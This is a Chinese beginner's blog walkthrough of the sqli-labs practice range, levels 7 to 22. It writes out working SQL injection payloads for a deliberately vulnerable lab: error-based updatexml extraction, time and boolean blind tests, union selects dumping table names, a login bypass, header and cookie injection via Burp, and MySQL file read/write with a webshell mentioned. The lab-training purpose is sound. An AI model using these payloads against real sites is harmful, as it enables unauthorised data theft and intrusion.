大白话讲解,通篇写的是我做题的一个思路,建议先了解一下sql注入的基本原理再来看,主要针对人群,sql注入初学者,来刷sqli-libs靶场但是感觉吃力的。看完要还是不会,来来来,评论区留言,我v你50吃个KFC
目录
Less7
-
关键词:get方法,转储到输出文件,字符型
-
好家伙,终于碰见知识盲区了,我们先补充一波知识点再开始上代码(后来想起来之前学过这一块,sql注入文件读写,额,真是健忘啊我)
?id=1'))--+
#新奇操作,这个闭合方式竟然是')),第一次知道这种方式
?id=-1')) or updatexml(1,concat(0x7e,database(),0x7e),1)--+
#联合查询不行,报错注入不行
?id=1')) and length(database())>100--+
#布尔盲注貌似可以,但是我真的不想用布尔盲注,太慢了
#按照提示,文件读写吧
文件读取知识点补充:
文件读取基本条件:
当前用户权限对该文件可读。
文件在该服务器上。
路径完整。
文件大小小于max_sllowed_packet。
当前数据库用户有FILE权限,File_priv为yes
secure_file_priv的值为空,如果值为某目录,那么就只能对该目录的文件进行操作
select File_priv from mysql.user where user='root' and host='localhost' #实战中我们就可以根据这里来判断是否我们有读写权限
show variables like 'max_allowed_packet' #查看可读写文件大小,My.ini配置文件中本没有max_allowed_packet这一项,可以通过添加来修改可读写文件大小
My.ini配置文件中也没有secure_file_priv这一项,默认为不允许读写磁盘中任何未知的文件,也就是说默认值为NULL。这里的null不是空
关于/和\,读文件时只能用/,写文件时两者都可以
读文件:select load_file("D:\123.txt")
写文件:select "test" into outfile "D:\234.txt"
当我们知道了如何读写,接下来难点就是如何判断文件路径了
-
这一关实在是不会了,因为不知道网站绝对路径,即使写了木马上去,蚁剑也连接不了,因为没有url,正常思路就是写文件,写一句话木马,然后蚁剑连接
Less9
-
关键词:单引号,时间盲注
-
sleep()
?id=1'
#一开始试了好多遍,单引号,双引号,什么都没有反应,太离谱了,根本无法判断注入类型,也就是说没有报错,这样的话只有采取时间盲注了
?id=1' and sleep(3)--+
#我们通过这个来判断闭合形式,如果不正确的话是不会执行sleep(3)的,因为报错了,但是闭合形式猜对了就会三秒后响应
id=1' and if(length(database())=8,sleep(3),1)--+
#这句话的意思是去猜解数据库名称长度,如果为8,休眠三秒,否则执行1
#接下来的步骤就有点像布尔盲注了,太繁琐就不写了,需要去爆破
Less10
-
关键词:时间盲注,双引号
-
不写了,参考Less9
Less11
-
关键词:POST方法,报错注入,单引号,字符型
-
这一关终于看到点不一样的了,进去是个输入账号密码的框,有点意思
-
直接上代码
#输入单引号报错,说明闭合形式是单引号
admin'or(true)#
#直接上万能账号密码,登录成功,存在sql注入
admin' order by 2#
#存在两列
-admin' union select 1,2#
#回显位,1,2
-admin' union select database(),2#
#数据库名security
-admin' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#
#接下来没啥说的了,老套路
-
时间盲注也可以实现
1' or sleep(3)#
#这次要用or,因为 前面的账号并不是1,我们还原以下sql语句
select username,password from user where username='1' or sleep(3)#and ......
#我们发现 username='1'是false,那么后面如果是and的话,就没执行后面的就结束了,所以要用or
-
报错注入
-1' or updatexml(1,concat(0x7e,database(),0x7e),1)#
Less12
-
关键词:基于错误的双引号POST型字符型变形的注入
-
和11题一样,只是把单引号变双引号加括号
Less13
-
关键词:POST单引号变形双注入
-
测试的时候出现语法报错,说明是可以报错注入的
-
闭合方式是单引号加括号
-
试了-1') or sleep(3)#,发现可以时间盲注
#试了很多,发现无回显,就用报错注入吧
-1') or updatexml(1,concat(0x7e,database(),0x7e),1)#
#数据库名security
#下面不解释了,翻往期
-
时间盲注
-1') or if(length(database())=8,sleep(3),1)#
Less14
-
关键词:和上个一样,奇怪
-
最终发现就是把单引号变成双引号了
-
具体没啥可说的,和Less13一样
Less15
-
关键词:POST 布尔盲注或时间盲注 单引号
-
测试后发现,没有回显,确实是单引号闭合
-
时间盲注
-1' or sleep(3)#
-
布尔盲注
-1' or length(database())=8#
#上面说的无回显是有点片面了,其实有办法判断是否登录成功,只是没有回显位而已
Less16
-
和15题一样,把单引号改为双引号加括号
Less17
-
关键词:报错注入,更新查询,POST
-
终于遇到新的东西了,更新注入,哈哈哈,我们先回忆一下sql语句吧
-
update table_name set value1=new_value1,value2=new_value2 where value={value};
-
-
更新当然是在新的数据那里注入咯
-
更新,删除,增加等语句一般都没有什么回显,无回显就选择报错注入或者时间盲注,当然,大家都知道,我不喜欢时间盲注,爆破太慢了,但是我们还是先测测吧,看看存在不存在时间盲注
password:123' and sleep(3)#
#可以时间盲注
-
md,试了很多次,发现有个前提,就是必须是我的用户名要输入正确,不然注入没法进行,而且那个用户那里还没有注入点,服了,这玩个鬼
-
不过还好,我知道账号有个admin,哈哈哈哈哈,那就接着玩呗
-
报错注入
username:admin
password:123'
#报错,说是多了个单引号,那肯定存在报错注入咯
#接下来懒得去写
1' and updatexml(1,concat(0x7e,database(),0x7e),1)#
#必须用and,用or,后面就不执行了可能
Less18
-
关键词:User Agent注入,请求头,post
-
新东西哈哈哈,不过之前遇到过user agent写一句话木马的题
-
整半天也不知道怎么玩的,百度了一下,原来要先登录才有得玩,无语.....
-
登录半天也没有登录上去,我寻思着账号密码就是admin啊
-
百思不得其解,最后恍然大悟,我17关的时候把密码改了,,,焯!
-
回去又改回来了,然后终于登录上了
-
登上之后显示了User Agent的信息
-
关于什么是User Agent???这个是http协议的请求头里面的东西,具体内容就是关于你自己浏览器的信息,请求服务器的时候会自动带上,然后保存到服务器去了
-
好家伙,既然它有回显,那我们就可以试试去注入它呗
-
具体怎么注入,之前也说了,这玩意肯定是保存到服务器的,那么数据库自然会用insert语句去增加它
-
知识补充
insert into table_name (column1,column2) values (value1,value2)
-
-
报错注入
#增加当然要报错注入咯
#我们构造语句,注入点在value1那块,闭合两边的单引号
xxxx' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
-
配合burp抓包,修改信息,直接注入
-
接下来具体就不多说咯,注入点找到了下来还不简单嘛
Less19
-
关键词:和上一关一样,除了User Agent换成了Referer
-
同理:Referer也是http请求头里面的信息,用来发送uri(请求资源路径)的,其实就是告诉服务器,这个请求是从哪个页面发出的,但是有时候也可以不带referer信息,比如有的请求带有敏感信息,get请求带参数等
-
注入和上一关一样,burp抓包,改信息,报错注入
Less20
-
关键词:这次变成cookie了
-
老子找了半天也没有找到cookie,,,,无语,登录了啊
-
I LOVE YOU COOKIES
-
这是什么意思??
-
后来终于明白什么意思了这道题
-
其实就是当你登录了之后,需要再访问一次这个页面,只不过这次你要带着cookie去访问
-
怎么带着呢,burp抓包,写进去(无语了,这个题还得自己去操作)
-
加这么一条信息:Cookie: uname=admin
-
然后放包,信息就在页面上访问出来了
-
接下来正常注入即可,cookie,想怎么操作怎么操作吧,这个是查询语句。。。。。
select useragent,cookie...... from xxx where uname={cookie.uname}
-
闭合方式,单引号
Less21
-
和上一关一样,只不过是cookie做了个base64加密,把admin加密即可
-
闭合方式单引号加括号
Less22
-
和上一关一样,只不过是双引号闭合
总结:
sqlilibs第一阶段刷完咯,感觉没啥新意,都是老套的,特别还是大部分题都是重复的,改个闭合方式而已,不过中规中矩,这个平台真的不错,对新手特别友好,推荐!!!
建议刷sqlilibs的时候,多多思考,用会的知识去解决不会的问题,真的不会就去百度,不要浪费时间,因为可能是你的知识盲点
到后面可以一道题多种思路去解决,不要局限思维,活学活用嘛